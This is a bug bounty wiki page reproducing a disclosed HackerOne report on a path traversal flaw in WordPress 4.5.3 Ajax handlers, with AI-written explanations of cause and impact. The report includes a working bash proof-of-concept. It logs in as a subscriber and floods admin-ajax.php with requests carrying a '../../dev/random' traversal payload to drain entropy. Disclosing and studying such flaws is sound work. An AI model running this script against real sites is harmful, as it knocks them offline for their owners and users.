Skip to content
Path traversal Disclosed report Intermediate

WordPress Authentication Denial of Service

A path traversal flaw in WordPress core Ajax handlers allowed an authenticated subscriber to read files, including /dev/random, and repeatedly doing so could deplete the entropy pool and cause a denial of service. The nonce check was performed too late, so the issue could also be triggered via cross-site request forgery.

clizsec Follow

Originally disclosed on HackerOne

Bounty$100 View original
  • Fixed in 32 hours
  • Paid in 2 days
  • Disclosed after 9 months

Hi, I found out that you are using WordPress version 4.5.3.

Researchers found out 5 days ago, that this version has a vulnerability, a Path traversal in WordPress Core Ajax handlers.

Intro WordPress is web software that can be used to create a website, blog, or app. A path traversal vulnerability exists in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site.

Description Potentially this issue can be used to disclose information, provided that the target file contains a line with Version:. What is more important that it also allows for a denial of service condition as the logged in attacker can use this flaw to read up to 8 KB of data from /dev/random. Doing this repeatedly will deplete the entropy pool, which causes /dev/random to block; blocking the PHP scripts. Using a very simple script, it is possible for an authenticated user (Subscriber) to bring down a WordPress site. It is also possible to trigger this issue via Cross-Site Request Forgery as the nonce check is done too late in this case.

PoC Script

#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)
   
# login
curl --cookie-jar "$cookiejar" \
   --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
   "$target/wp-login.php" \
   >/dev/null 2>&1
   
# exhaust apache
for i in `seq 1 1000`
   do
      curl --cookie "$cookiejar" \
      --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
      "$target/wp-admin/admin-ajax.php" \
      >/dev/null 2>&1 &
done
   
rm "$cookiejar"

Link:

https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html

I hope that I helped you.

The original report as published on HackerOne, by clizsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Ajax handler did not properly validate the plugin path, allowing directory traversal, and the nonce check was performed after the vulnerable operation.

Impact

An authenticated subscriber could potentially disclose information from files containing a Version: line and could cause a denial of service by depleting the entropy pool, blocking PHP scripts; the issue could also be triggered via CSRF.

What the attacker needed

A subscriber account; victim visits a crafted page (for CSRF)

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WordPress is a popular tool for building websites. A logged-in user with the lowest role could trick the site into reading files it should not, and by repeatedly reading a special system file that produces random data, they could make the site slow or unresponsive for everyone. This is called a denial of service because the site stops working properly.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by clizsec

View all

3 more disclosed reports, best first.

More from Instacart

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.